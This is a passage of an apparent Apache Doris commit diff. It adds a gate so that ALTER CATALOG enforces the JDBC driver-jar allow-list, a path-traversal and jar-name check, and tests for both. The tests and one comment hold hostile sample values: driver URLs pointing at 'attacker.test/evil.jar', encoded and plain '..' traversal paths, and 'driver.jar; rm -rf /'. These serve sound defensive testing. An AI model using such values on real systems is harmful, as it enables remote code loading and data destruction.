return checkAndReturnDefaultDriverUrl(driverUrl);
}
diff --git
a/fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java
b/fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java
index e3be17f9e67..124de50bf66 100644
---
a/fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java
+++
b/fe/fe-core/src/main/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalog.java
@@ -20,6 +20,7 @@ package org.apache.doris.datasource.plugin;
import org.apache.doris.analysis.ColumnPath;
import org.apache.doris.catalog.Column;
import org.apache.doris.catalog.Env;
+import org.apache.doris.catalog.JdbcResource;
import org.apache.doris.catalog.TableIf;
import org.apache.doris.catalog.info.ColumnPosition;
import org.apache.doris.catalog.info.CreateOrReplaceBranchInfo;
@@ -68,6 +69,7 @@ import
org.apache.doris.datasource.connector.converter.ConnectorColumnConverter;
import
org.apache.doris.datasource.connector.converter.ConnectorPartitionFieldConverter;
import org.apache.doris.datasource.log.ExternalObjectLog;
import org.apache.doris.datasource.log.InitCatalogLog;
+import org.apache.doris.foundation.security.JdbcDriverUrlSecurity;
import org.apache.doris.nereids.trees.plans.commands.info.AddPartitionFieldOp;
import org.apache.doris.nereids.trees.plans.commands.info.CreateTableInfo;
import org.apache.doris.nereids.trees.plans.commands.info.DropPartitionFieldOp;
@@ -85,6 +87,7 @@ import org.apache.logging.log4j.Logger;
import java.io.IOException;
import java.util.ArrayList;
+import java.util.Arrays;
import java.util.HashMap;
import java.util.List;
import java.util.Locale;
@@ -250,10 +253,108 @@ public class PluginDrivenExternalCatalog extends
ExternalCatalog {
} catch (IllegalArgumentException e) {
throw new DdlException(e.getMessage(), e);
}
+ checkDriverUrlsAgainstOperatorGate(candidate, updatedProperties);
ExternalFunctionRules.check(candidateProperty.getOrDefault("function_rules",
null));
return true;
}
+ /**
+ * Applies the operator's driver-jar gate ({@code jdbc_driver_secure_path}
/
+ * {@code jdbc_driver_url_white_list}) to every driver_url these
properties would make the connector
+ * load into the FE JVM.
+ *
+ * <p>On CREATE the same gate is applied inside the connector's {@code
preCreateValidation} (through
+ * {@link
org.apache.doris.connector.DefaultConnectorValidationContext#validateAndResolveDriverPath}),
+ * which ALTER CATALOG never reaches — it validates through {@code
validatePropertiesBeforeUpdate}
+ * alone. Without this call an operator who restricts {@code
jdbc_driver_secure_path} would have that
+ * restriction enforced at CREATE and then bypassed by a follow-up
+ * {@code ALTER CATALOG ... SET PROPERTIES("driver_url" =
"http://attacker/evil.jar")}, which
+ * {@code resetToUninitialized} makes effective on the next metadata
access.
+ *
+ * <p>Deliberately NOT applied on replay: this runs from the {@code
!isReplay} ALTER path only, so an
+ * existing catalog whose driver_url predates a since-tightened allow-list
keeps loading and FE
+ * startup / follower replay can never be blocked by it.
+ */
+ private void checkDriverUrlsAgainstOperatorGate(Map<String, String>
candidate,
+ Map<String, String> updatedProperties) throws DdlException {
+ DriverUrlKeys keys = driverUrlKeysOf(getType());
+ if (keys == null) {
+ return;
+ }
+ // Only an ALTER that touches a driver-url key (or the flavor key that
can bring a stored one
+ // to life) can repoint the loaded jar; a stored value was gated at
its own CREATE/ALTER time.
+ // Re-resolving an untouched value here would also re-run
getFullDriverUrl's file-existence /
+ // cloud-download side effects under CatalogMgr's write lock on every
unrelated ALTER, and
+ // would let a since-tightened allow-list fail ALTERs that change
nothing about the jar.
+ boolean touched =
keys.urlKeys.stream().anyMatch(updatedProperties::containsKey)
+ || (keys.flavorKey != null &&
updatedProperties.containsKey(keys.flavorKey));
+ if (!touched) {
+ return;
+ }
+ if (keys.flavorKey != null
+ &&
!"jdbc".equalsIgnoreCase(candidate.getOrDefault(keys.flavorKey, ""))) {
+ // A driver_url on a REST/HMS/filesystem catalog stays the dead
config it always was.
+ return;
+ }
+ for (String key : keys.urlKeys) {
+ String driverUrl = candidate.get(key);
+ if (driverUrl == null || driverUrl.trim().isEmpty()) {
+ continue;
+ }
+ try {
+ // The mandatory rule normally runs inside the connector's
property holder; repeated
+ // here so a degraded catalog whose plugin is absent (provider
validation silently
+ // no-ops) still cannot be repointed at a traversal /
non-bare-name jar, and so the
+ // rule holds even under jdbc_driver_secure_path=* (which
getFullDriverUrl accepts
+ // wholesale).
+ JdbcDriverUrlSecurity.check(driverUrl);
+ JdbcResource.getFullDriverUrl(driverUrl);
+ } catch (Exception e) {
+ // getFullDriverUrl throws IllegalArgumentException for policy
rejections but also bare
+ // RuntimeException for a missing/undownloadable bare-name
jar; every failure must become
+ // the DdlException this validation hook promises.
+ throw new DdlException(e.getMessage(), e);
+ }
+ }
+ }
+
+ /** One row of the driver-jar key table: which properties name the jar,
live under which flavor key. */
+ private static final class DriverUrlKeys {
+ /** The properties whose value the connector hands to a class loader,
documented aliases included. */
+ final List<String> urlKeys;
+ /** The key whose candidate value must be "jdbc" for the urlKeys to be
live; null = always live. */
+ final String flavorKey;
+
+ DriverUrlKeys(String flavorKey, String... urlKeys) {
+ this.flavorKey = flavorKey;
+ this.urlKeys = Arrays.asList(urlKeys);
+ }
+ }
+
+ /**
+ * The driver-jar properties of the three jdbc-flavored catalog types,
spelled out here because the
+ * fe.conf policy is the engine's to apply while the keys belong to the
connectors, and widening the
+ * plugin SPI for three constants is not worth a plugin API major bump.
The keys are the user-facing
+ * property names (with their documented aliases), which are wire-stable.
This single table drives
+ * BOTH halves of the gate — the trigger set (urlKeys plus flavorKey: the
changes that can repoint
+ * the loaded jar) and the values that get checked — so the two can never
drift apart. Owners:
+ * JdbcCatalogProperties, IcebergJdbcMetaStoreProperties,
PaimonJdbcMetaStoreProperties. A new
+ * consumer of a jdbc-flavored driver_url adds its row here and nowhere
else (see the "Remote
+ * Artifacts and Dynamic Code Loading" section of AGENTS.md).
+ */
+ private static DriverUrlKeys driverUrlKeysOf(String catalogType) {
+ if ("jdbc".equalsIgnoreCase(catalogType)) {
+ return new DriverUrlKeys(null, "driver_url", "jdbc.driver_url");
+ }
+ if ("iceberg".equalsIgnoreCase(catalogType)) {
+ return new DriverUrlKeys("iceberg.catalog.type",
"iceberg.jdbc.driver_url");
+ }
+ if ("paimon".equalsIgnoreCase(catalogType)) {
+ return new DriverUrlKeys("paimon.catalog.type",
"paimon.jdbc.driver_url", "jdbc.driver_url");
+ }
+ return null;
+ }
+
private void checkHiveParquetTimeZone(CatalogProperty property) throws
DdlException {
String catalogType = getType();
if ("hms".equalsIgnoreCase(catalogType) ||
"hudi".equalsIgnoreCase(catalogType)) {
diff --git
a/fe/fe-core/src/test/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalogDriverUrlGateTest.java
b/fe/fe-core/src/test/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalogDriverUrlGateTest.java
new file mode 100644
index 00000000000..9005a9d2329
--- /dev/null
+++
b/fe/fe-core/src/test/java/org/apache/doris/datasource/plugin/PluginDrivenExternalCatalogDriverUrlGateTest.java
@@ -0,0 +1,243 @@
+// Licensed to the Apache Software Foundation (ASF) under one
+// or more contributor license agreements. See the NOTICE file
+// distributed with this work for additional information
+// regarding copyright ownership. The ASF licenses this file
+// to you under the Apache License, Version 2.0 (the
+// "License"); you may not use this file except in compliance
+// with the License. You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing,
+// software distributed under the License is distributed on an
+// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+// KIND, either express or implied. See the License for the
+// specific language governing permissions and limitations
+// under the License.
+
+package org.apache.doris.datasource.plugin;
+
+import org.apache.doris.common.Config;
+import org.apache.doris.common.DdlException;
+import org.apache.doris.connector.ConnectorFactory;
+import org.apache.doris.connector.ConnectorPluginManager;
+import org.apache.doris.connector.spi.Connector;
+import org.apache.doris.connector.spi.ConnectorSession;
+
+import org.junit.jupiter.api.AfterEach;
+import org.junit.jupiter.api.Assertions;
+import org.junit.jupiter.api.BeforeEach;
+import org.junit.jupiter.api.Test;
+import org.mockito.Mockito;
+
+import java.util.Collections;
+import java.util.HashMap;
+import java.util.Map;
+
+/**
+ * ALTER CATALOG must apply the operator's driver-jar gate ({@code
jdbc_driver_secure_path} /
+ * {@code jdbc_driver_url_white_list}) to a repointed {@code driver_url}.
+ *
+ * <p>WHY this exists: CREATE applies that gate inside {@code
Connector.preCreateValidation}, but ALTER
+ * CATALOG never reaches that hook — it validates through {@code
validatePropertiesBeforeUpdate} alone, and
+ * {@code resetToUninitialized} then makes the new driver_url effective on the
next metadata access. So
+ * without this gate an operator who restricts {@code jdbc_driver_secure_path}
gets the restriction enforced
+ * at CREATE and silently bypassed by a follow-up ALTER — i.e. the config
would not actually protect
+ * anything. The checked keys come from the key table in
+ * {@code PluginDrivenExternalCatalog#driverUrlKeysOf}.
+ */
+public class PluginDrivenExternalCatalogDriverUrlGateTest {
+
+ private static final String ALLOWED_DIR =
"/opt/doris/plugins/jdbc_drivers";
+
+ private String savedSecurePath;
+
+ @BeforeEach
+ public void setUp() {
+ savedSecurePath = Config.jdbc_driver_secure_path;
+ // The operator has locked driver jars down to one directory — the
posture this gate exists to keep.
+ Config.jdbc_driver_secure_path = ALLOWED_DIR;
+ // A fresh empty manager so provider-side validation is a no-op and
the gate is tested in isolation.
+ ConnectorFactory.initPluginManager(new ConnectorPluginManager());
+ }
+
+ @AfterEach
+ public void tearDown() {
+ Config.jdbc_driver_secure_path = savedSecurePath;
+ // An empty manager, not null: surefire reuses the fork, and a null
singleton would make later
+ // tests' ConnectorFactory calls silently no-op instead of fail (same
shape as the sibling
+ // plugin tests' tearDown).
+ ConnectorFactory.initPluginManager(new ConnectorPluginManager());
+ }
+
+ @Test
+ public void alterRejectsJdbcDriverUrlOutsideOperatorAllowList() {
+ TestCatalog catalog = new TestCatalog(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"));
+
+ // MUTATION: drop checkDriverUrlsAgainstOperatorGate from
validatePropertiesBeforeUpdate
+ // -> the ALTER is accepted and the remote jar is loaded on the next
metadata access -> red.
+ DdlException e = Assertions.assertThrows(DdlException.class,
+ () -> catalog.validatePropertiesBeforeUpdate(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"),
+ Collections.singletonMap("driver_url",
"http://attacker.test/evil.jar")));
+ Assertions.assertTrue(e.getMessage().contains("does not match any
allowed paths"), e.getMessage());
+ }
+
+ @Test
+ public void alterAcceptsJdbcDriverUrlInsideOperatorAllowList() throws
Exception {
+ TestCatalog catalog = new TestCatalog(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"));
+
+ catalog.validatePropertiesBeforeUpdate(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"),
+ Collections.singletonMap("driver_url", "file://" + ALLOWED_DIR
+ "/postgresql.jar"));
+ }
+
+ @Test
+ public void alterRejectsIcebergJdbcFlavorDriverUrl() {
+ Map<String, String> stored = props("iceberg",
"iceberg.jdbc.driver_url",
+ "file://" + ALLOWED_DIR + "/mysql.jar");
+ stored.put("iceberg.catalog.type", "jdbc");
+ TestCatalog catalog = new TestCatalog(stored);
+
+ Assertions.assertThrows(DdlException.class,
+ () -> catalog.validatePropertiesBeforeUpdate(stored,
+ Collections.singletonMap("iceberg.jdbc.driver_url",
+ "http://attacker.test/evil.jar")));
+ }
+
+ @Test
+ public void alterIgnoresDriverUrlOnNonJdbcIcebergFlavor() throws Exception
{
+ // On a REST catalog the key is dead config that never reaches a class
loader; the gate must not
+ // turn an unrelated ALTER into a failure over it.
+ Map<String, String> stored = props("iceberg",
"iceberg.jdbc.driver_url",
+ "http://elsewhere.test/dead-config.jar");
+ stored.put("iceberg.catalog.type", "rest");
+ TestCatalog catalog = new TestCatalog(stored);
+
+ catalog.validatePropertiesBeforeUpdate(stored,
+ Collections.singletonMap("iceberg.jdbc.driver_url",
"http://another.test/y.jar"));
+ }
+
+ @Test
+ public void alterRejectsPaimonDriverUrl() {
+ Map<String, String> stored = props("paimon", "paimon.jdbc.driver_url",
+ "file://" + ALLOWED_DIR + "/mysql.jar");
+ stored.put("paimon.catalog.type", "jdbc");
+ TestCatalog catalog = new TestCatalog(stored);
+
+ Assertions.assertThrows(DdlException.class,
+ () -> catalog.validatePropertiesBeforeUpdate(stored,
+ Collections.singletonMap("paimon.jdbc.driver_url",
+ "http://attacker.test/evil.jar")));
+ }
+
+ @Test
+ public void alterRejectsJdbcPrefixedAliasDriverUrl() {
+ // The holder strips the "jdbc." prefix, short spelling winning when
both are present — so with
+ // "driver_url" also stored this update is dead config that never
loads. The gate still checks
+ // every spelling in the candidate, deliberately fail-closed: which
alias wins is the holder's
+ // business, and a rejected dead value is repairable in the same ALTER.
+ // MUTATION: dropping "jdbc.driver_url" from the key table -> red.
+ TestCatalog catalog = new TestCatalog(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"));
+
+ Assertions.assertThrows(DdlException.class,
+ () -> catalog.validatePropertiesBeforeUpdate(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"),
+ Collections.singletonMap("jdbc.driver_url",
"http://attacker.test/evil.jar")));
+ }
+
+ @Test
+ public void alterRejectsPaimonJdbcAliasDriverUrl() {
+ // MUTATION: dropping "jdbc.driver_url" from the paimon row of the key
table -> red.
+ Map<String, String> stored = props("paimon", "jdbc.driver_url",
+ "file://" + ALLOWED_DIR + "/mysql.jar");
+ stored.put("paimon.catalog.type", "jdbc");
+ TestCatalog catalog = new TestCatalog(stored);
+
+ Assertions.assertThrows(DdlException.class,
+ () -> catalog.validatePropertiesBeforeUpdate(stored,
+ Collections.singletonMap("jdbc.driver_url",
"http://attacker.test/evil.jar")));
+ }
+
+ @Test
+ public void alterNotTouchingDriverUrlSkipsTheGate() throws Exception {
+ // A stored driver_url was gated at its own CREATE/ALTER time;
re-resolving it on every
+ // unrelated ALTER would (a) fail the ALTER outright once the operator
tightens
+ // jdbc_driver_secure_path after the fact, and (b) re-run
getFullDriverUrl's file-existence /
+ // cloud-download side effects under CatalogMgr's write lock.
+ // MUTATION: dropping the touched-keys guard -> the stored URL is
re-resolved and rejected
+ // -> red.
+ TestCatalog catalog = new TestCatalog(
+ props("jdbc", "driver_url",
"http://legacy.test/pre-tightening.jar"));
+
+ catalog.validatePropertiesBeforeUpdate(
+ props("jdbc", "driver_url",
"http://legacy.test/pre-tightening.jar"),
+ Collections.singletonMap("only_specified_database", "true"));
+ }
+
+ @Test
+ public void alterFlippingFlavorToJdbcGatesTheStoredDriverUrl() {
+ // Flipping iceberg.catalog.type to jdbc brings a previously-dead
driver_url to life, so the
+ // flavor key must count as a gate trigger even though no driver-url
key changed.
+ // MUTATION: nulling the flavorKey in the iceberg row of
driverUrlKeysOf -> red.
+ Map<String, String> stored = props("iceberg",
"iceberg.jdbc.driver_url",
+ "http://elsewhere.test/dead-config.jar");
+ stored.put("iceberg.catalog.type", "rest");
+ TestCatalog catalog = new TestCatalog(stored);
+
+ Assertions.assertThrows(DdlException.class,
+ () -> catalog.validatePropertiesBeforeUpdate(stored,
+ Collections.singletonMap("iceberg.catalog.type",
"jdbc")));
+ }
+
+ @Test
+ public void alterRejectsTraversalEvenWhenSecurePathIsWildcard() {
+ // The mandatory rule is non-configurable: with
jdbc_driver_secure_path=* the allow-list gate
+ // accepts everything, and on a degraded catalog whose plugin is
absent the provider-side rule
+ // silently no-ops (this test's empty plugin manager models exactly
that), so the engine-side
+ // check in the gate is the last line.
+ // MUTATION: drop the JdbcDriverUrlSecurity.check call from the gate
loop -> red.
+ Config.jdbc_driver_secure_path = "*";
+ TestCatalog catalog = new TestCatalog(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"));
+
+ DdlException e = Assertions.assertThrows(DdlException.class,
+ () -> catalog.validatePropertiesBeforeUpdate(
+ props("jdbc", "driver_url", "file://" + ALLOWED_DIR +
"/mysql.jar"),
+ Collections.singletonMap("driver_url",
+ "file://" + ALLOWED_DIR +
"/../../../etc/evil.jar")));
+ Assertions.assertTrue(e.getMessage().contains("path traversal"),
e.getMessage());
+ }
+
+ private static Map<String, String> props(String type, String key, String
value) {
+ Map<String, String> props = new HashMap<>();
+ props.put("type", type);
+ props.put(key, value);
+ return props;
+ }
+
+ /** Keeps the real {@code validatePropertiesBeforeUpdate}; stubs out what
needs a full FE environment. */
+ private static final class TestCatalog extends PluginDrivenExternalCatalog
{
+ TestCatalog(Map<String, String> props) {
+ super(1L, "driver-gate-catalog", null, props, "",
Mockito.mock(Connector.class));
+ this.initialized = true;
+ }
+
+ @Override
+ protected Connector createConnectorFromProperties() {
+ return null;
+ }
+
+ @Override
+ protected void initLocalObjectsImpl() {
+ }
+
+ @Override
+ public ConnectorSession buildConnectorSession() {
+ return Mockito.mock(ConnectorSession.class);
+ }
+ }
+}
diff --git
a/fe/fe-foundation/src/main/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurity.java
b/fe/fe-foundation/src/main/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurity.java
new file mode 100644
index 00000000000..98970097b83
--- /dev/null
+++
b/fe/fe-foundation/src/main/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurity.java
@@ -0,0 +1,102 @@
+// Licensed to the Apache Software Foundation (ASF) under one
+// or more contributor license agreements. See the NOTICE file
+// distributed with this work for additional information
+// regarding copyright ownership. The ASF licenses this file
+// to you under the Apache License, Version 2.0 (the
+// "License"); you may not use this file except in compliance
+// with the License. You may obtain a copy of the License at
+//
+// http://www.apache.org/licenses/LICENSE-2.0
+//
+// Unless required by applicable law or agreed to in writing,
+// software distributed under the License is distributed on an
+// "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY
+// KIND, either express or implied. See the License for the
+// specific language governing permissions and limitations
+// under the License.
+
+package org.apache.doris.foundation.security;
+
+import java.net.URI;
+import java.net.URISyntaxException;
+import java.util.regex.Pattern;
+
+/**
+ * The mandatory, non-configurable {@code driver_url} security rule, shared by
every connector that
+ * loads a JDBC driver jar into the FE JVM.
+ *
+ * <p>Three catalog types reach the same {@code URLClassLoader} + {@code
Class.forName(name, true, loader)}
+ * sink from a user-supplied catalog property, so they must share one rule
rather than each re-deriving it:
+ * the {@code jdbc} catalog ({@code driver_url}), the Iceberg JDBC catalog
+ * ({@code iceberg.jdbc.driver_url}) and the Paimon JDBC catalog
+ * ({@code paimon.jdbc.driver_url} / {@code jdbc.driver_url}). This class is
that single source of truth;
+ * it lives in fe-foundation because that is the one module every properties
holder already depends on.
+ *
+ * <p>The rule cannot be turned off:
+ * <ul>
+ * <li>any {@code ..} path-traversal segment is rejected, for {@code
file://} and {@code http(s)} alike,
+ * checked on the percent-decoded path so {@code %2e%2e} cannot slip
past;</li>
+ * <li>a scheme-less driver_url must be a bare jar file name matching {@code
[A-Za-z0-9._-]+.jar}
+ * (no directories, no special characters), which is then resolved under
the connector's drivers
+ * directory.</li>
+ * </ul>
+ * Whether a remote/absolute URL is allowed <em>at all</em> remains governed
by the fe.conf-only
+ * {@code jdbc_driver_secure_path} / {@code jdbc_driver_url_white_list}
configs, which the engine applies
+ * separately; this rule only forbids traversal and enforces the bare-name
charset.
+ *
+ * <p><b>Where callers invoke it: statement-time validation only.</b> The call
sites are the property
+ * holders' create-time-only hooks ({@code
JdbcCatalogProperties.checkCreateTimeOnlyRules} and the
+ * iceberg/paimon JDBC metastore holders' {@code validate()}), which the
engine reaches from the
+ * user-facing CREATE and ALTER CATALOG paths and never from edit-log replay
or a catalog rebuild.
+ * That placement is load-bearing: a catalog created before this rule existed
must keep coming back
+ * after an FE restart, so the rule must never run from a holder's {@code
of()}.
+ *
+ * <p>Throws {@link IllegalArgumentException} so the engine wraps it into a
{@code DdlException}
+ * (and, on ALTER, triggers the property rollback).
+ */
+public final class JdbcDriverUrlSecurity {
+
+ // A scheme-less driver_url must be a plain jar file name: letters,
digits, dot, underscore, hyphen.
+ // This intentionally forbids any path separator, so it can never escape
the drivers directory.
+ private static final Pattern SAFE_DRIVER_FILE_NAME =
Pattern.compile("^[A-Za-z0-9._-]+\\.jar$");
+
+ private JdbcDriverUrlSecurity() {
+ }
+
+ /**
+ * Applies the rule to a raw, alias-resolved {@code driver_url}. A
null/empty value means "use the
+ * engine-provided driver" and is accepted; every other value must satisfy
the rule above.
+ */
+ public static void check(String driverUrl) {
+ if (driverUrl == null || driverUrl.isEmpty()) {
+ return;
+ }
+ // Check traversal on the decoded path so percent-encoded segments
(e.g. %2e%2e) — which the
+ // driver-loading consumers decode — cannot slip a ".." past this rule.
+ String pathToCheck = driverUrl;
+ if (driverUrl.contains("://")) {
+ try {
+ String decoded = new URI(driverUrl).getPath();
+ if (decoded != null) {
+ pathToCheck = decoded;
+ }
+ } catch (URISyntaxException e) {
+ throw new IllegalArgumentException("Invalid driver_url: " +
driverUrl);
+ }
+ }
+ String probe = pathToCheck.replace('\\', '/');
+ for (String segment : probe.split("/")) {
+ if ("..".equals(segment)) {
+ throw new IllegalArgumentException(
+ "Invalid driver_url: path traversal ('..') is not
allowed: " + driverUrl);
+ }
+ }
+ if (!driverUrl.contains("://")) {
+ if (!SAFE_DRIVER_FILE_NAME.matcher(driverUrl).matches()) {
+ throw new IllegalArgumentException(
+ "Invalid driver_url: a driver file name must match
[A-Za-z0-9._-]+.jar (got: "
+ + driverUrl + ")");
+ }
+ }
+ }
+}
diff --git
a/fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcDriverUrlSecurityRuleTest.java
b/fe/fe-foundation/src/test/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurityTest.java
similarity index 68%
rename from
fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcDriverUrlSecurityRuleTest.java
rename to
fe/fe-foundation/src/test/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurityTest.java
index e5c75891a95..e3f58466dcf 100644
---
a/fe/fe-connector/fe-connector-jdbc/src/test/java/org/apache/doris/connector/jdbc/JdbcDriverUrlSecurityRuleTest.java
+++
b/fe/fe-foundation/src/test/java/org/apache/doris/foundation/security/JdbcDriverUrlSecurityTest.java
@@ -15,78 +15,80 @@
// specific language governing permissions and limitations
// under the License.
-package org.apache.doris.connector.jdbc;
+package org.apache.doris.foundation.security;
import org.junit.jupiter.api.Assertions;
import org.junit.jupiter.api.Test;
/**
- * Tests for the mandatory, non-configurable create-time driver_url security
rule
- * in {@link JdbcDorisConnector#checkDriverUrlSecurityRule(String)}.
+ * Tests for the mandatory, non-configurable driver_url security rule in
+ * {@link JdbcDriverUrlSecurity#check(String)}, shared by the jdbc,
iceberg-jdbc and paimon-jdbc catalogs.
+ * The per-connector tests assert only that each catalog type reaches this
rule; the rule's own semantics
+ * are pinned here, once.
*/
-public class JdbcDriverUrlSecurityRuleTest {
+public class JdbcDriverUrlSecurityTest {
// ---- rejected ----
@Test
public void testBareNameTraversalRejected() {
Assertions.assertThrows(IllegalArgumentException.class,
- () ->
JdbcDorisConnector.checkDriverUrlSecurityRule("../evil.jar"));
+ () -> JdbcDriverUrlSecurity.check("../evil.jar"));
}
@Test
public void testBareNameWithDirectoryRejected() {
// A scheme-less driver_url must be a plain file name; any '/' fails
the charset check.
Assertions.assertThrows(IllegalArgumentException.class,
- () ->
JdbcDorisConnector.checkDriverUrlSecurityRule("sub/dir/driver.jar"));
+ () -> JdbcDriverUrlSecurity.check("sub/dir/driver.jar"));
}
@Test
public void testBareNameSpecialCharsRejected() {
Assertions.assertThrows(IllegalArgumentException.class,
- () ->
JdbcDorisConnector.checkDriverUrlSecurityRule("driver.jar; rm -rf /"));
+ () -> JdbcDriverUrlSecurity.check("driver.jar; rm -rf /"));
}
@Test
public void testFileUrlTraversalRejected() {
Assertions.assertThrows(IllegalArgumentException.class,
- () -> JdbcDorisConnector.checkDriverUrlSecurityRule(
+ () -> JdbcDriverUrlSecurity.check(
"file:///opt/doris/plugins/jdbc_drivers/../../etc/evil.jar"));
}
@Test
public void testHttpUrlTraversalRejected() {
Assertions.assertThrows(IllegalArgumentException.class,
- () ->
JdbcDorisConnector.checkDriverUrlSecurityRule("http://host/a/../b.jar"));
+ () -> JdbcDriverUrlSecurity.check("http://host/a/../b.jar"));
}
@Test
public void testEncodedTraversalRejected() {
// %2e%2e decodes to "..", which must be caught on the decoded path.
Assertions.assertThrows(IllegalArgumentException.class,
- () -> JdbcDorisConnector.checkDriverUrlSecurityRule(
+ () -> JdbcDriverUrlSecurity.check(
"file:///opt/doris/plugins/jdbc_drivers/%2e%2e/%2e%2e/etc/evil.jar"));
}
- // ---- allowed ----
+ // ---- accepted ----
@Test
public void testPlainJarNameAllowed() {
Assertions.assertDoesNotThrow(
- () ->
JdbcDorisConnector.checkDriverUrlSecurityRule("mysql-connector-j-8.4.0.jar"));
+ () ->
JdbcDriverUrlSecurity.check("mysql-connector-j-8.4.0.jar"));
Assertions.assertDoesNotThrow(
- () ->
JdbcDorisConnector.checkDriverUrlSecurityRule("postgresql-42.5.0.jar"));
+ () -> JdbcDriverUrlSecurity.check("postgresql-42.5.0.jar"));
}
@Test
public void testNormalHttpsUrlAllowed() {
- Assertions.assertDoesNotThrow(() ->
JdbcDorisConnector.checkDriverUrlSecurityRule(
+ Assertions.assertDoesNotThrow(() -> JdbcDriverUrlSecurity.check(
"https://bucket.s3.amazonaws.com/regression/jdbc_driver/mysql-connector-j-8.4.0.jar"));
}
@Test
public void testNormalFileUrlAllowed() {
- Assertions.assertDoesNotThrow(() ->
JdbcDorisConnector.checkDriverUrlSecurityRule(
+ Assertions.assertDoesNotThrow(() -> JdbcDriverUrlSecurity.check(
"file:///opt/doris/plugins/jdbc_drivers/mysql-connector-j-8.4.0.jar"));
}
}
---------------------------------------------------------------------
To unsubscribe, e-mail: [email protected]
For additional commands, e-mail: [email protected]